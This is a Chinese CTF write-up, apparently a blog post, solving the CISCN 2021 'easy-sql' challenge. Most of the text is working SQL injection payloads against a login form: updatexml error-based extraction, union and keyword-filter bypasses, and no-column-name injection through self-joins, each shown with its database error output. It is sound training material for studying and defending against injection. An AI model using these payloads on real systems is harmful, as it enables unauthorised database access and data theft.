ciscn2021-easy-sql无列名注入

文章目录


  登陆框。前端代码无信息。

  部分黑名单字符:Union、Information、Sys、nno、column。

  学到的东西:
(1)Union的绕过,虽然比赛中绕不过去,但可以拓展绕过知识。
(2)查表的一些视图。
(3)无列名注入,通过表名可以查列名,无需union关键字。

  前期报错注入,可以查到数据库名。

	测试1:uname=1&passwd='。发现是MariaDB。
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '''') LIMIT 0,1' at line 1

	测试2:uname=1&passwd=')%23,返回正常。闭合方式是')。
	
	测试3:测字段,发现是2个字段。
uname=1&passwd=') order by 3%23。
uname=1&passwd=') order by 3%23

	测试4:尝试注入,过滤了Union
uname=1&passwd=') union select 1,2%23,返回no
uname=1&passwd=')Union%23,返回no

	测试5:尝试报错注入,成功查询
uname=1&passwd=') and(select updatexml(1,concat('~',(select database())),1))%23
XPATH syntax error: '~security'

	查看数据库版本信息
uname=1&passwd=') and(select updatexml(1,concat('~',(select version())),1))%23
XPATH syntax error: '~10.0.27-MariaDB-0ubuntu0.16.04.'

	继续报错注入,返回no
uname=1&passwd=') and(select updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema=database())),1))%23
	测试黑名单,发现过滤了Information_schema
uname=1&passwd=') andinformation_schema%23


	尝试替换可以查表的数据库
	(1)代替默认数据库:Sys.schema_auto_increment_columns。发现也被过滤了。
	本地MySQL5.7测试成功:
id=' and(select updatexml(1,concat('~',(select group_concat(table_name) from sys.schema_auto_increment_columns where table_schema=database())),1))%23
	提交,返回no
uname=1&passwd=') and(select updatexml(1,concat('~',(select group_concat(table_name) from sys.schema_auto_increment_columns where table_schema=database())),1))%23

	(2)代替默认数据库:sys.x$ps_schema_table_statistics_io
	本地测试成功:
id=' and(select updatexml(1,concat('~',(select group_concat(table_name) from sys.x$ps_schema_table_statistics_io where table_schema=database())),1))%23
	先看是否在黑名单,也被过滤了。

	(3)代替默认数据库:sys.x$schema_table_statistics_with_buffer。
代替格式都是直接替换位置。
	测试黑名单,被过滤。

Sys.schema_auto_increment_columns,被过滤。
sys.schema_table_statistics_with_buffer,被过滤。
sys.x$schema_table_statistics_with_buffer,被过滤。
mysql.innodb_table_stats,被过滤。
mysql.innodb_table_index,被过滤。
	测试发现过滤了Sys。

	测试performance_schema系列,返回拒绝,没有权限。
SELECT command denied to user 'ctf'@'localhost' for table 'events_statements_summary_by_digest'

	绕过union,本地测试成功,返回no。
/*!%55NiOn*/ /*!%53eLEct*/ 1,2,3%23

	使用万能密码,返回login,但没有其他页面了。
	尝试堆叠,');show tables;%23,语法报错,无堆叠。

	猜测表名users,猜测查询了id、username、password三个字段,没有找到flag
uname=1&passwd=') and(select updatexml(1,concat('~',(select username from users)),1))%23

	猜测表名为flag,尝试报错注入,发现有id字段
uname=1&passwd=') and(select updatexml(1,concat('~',(select id from flag)),1))%23
XPATH syntax error: '~1'</font>

	猜测flag表存在username字段
uname=1&passwd=') and(select updatexml(1,concat('~',(select username from flag)),1))%23
返回Only constant XPATH queries are supported,事后知道没有这个字段。

	在表名为flag的基础上,使用无列名注入查询列名
uname=1&passwd=’) and(select updatexml(1,concat(’~’,(select*from (select * from flag as a join flag as b using(id))c)),1))%23
Duplicate column name ‘no’

	继续查询第二个列名
uname=1&passwd=’) and(select updatexml(1,concat(’~’,(select*from (select * from flag as a join flag as b using(id,no))c)),1))%23
Duplicate column name ‘504b75bc-9887-4483-b45b-81cb11c1feb6’(该列名有36位)

	尝试查询504b75bc-9887-4483-b45b-81cb11c1feb6,报错返回"没有504b75bc列"。
uname=1&passwd=') and(select updatexml(1,concat('~',(select 504b75bc-9887-4483-b45b-81cb11c1feb6 from flag)),1))%23
	
	破案了,是列名中-字符的锅,需要使用反引号标注列名。本地测试:
select asd-asd from test;,返回ERROR 1054 (42S22): Unknown column 'asd' in 'field list'
select `asd-asd` from test;,返回flag{xxx}
	所以Payload是:
uname=1&passwd=') and(select updatexml(1,concat('~',(select `504b75bc-9887-4483-b45b-81cb11c1feb6` from flag)),1))%23


  MySql中用一对反引号来标注SQL语句中的标识,如数据库名、表名、字段名等。当字段名与保留关键字相同、标识中含空格等等情况下就需要使用。
  本地测试,列名中含有-{等非字母字符时,就要使用反引号,否则会报错。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值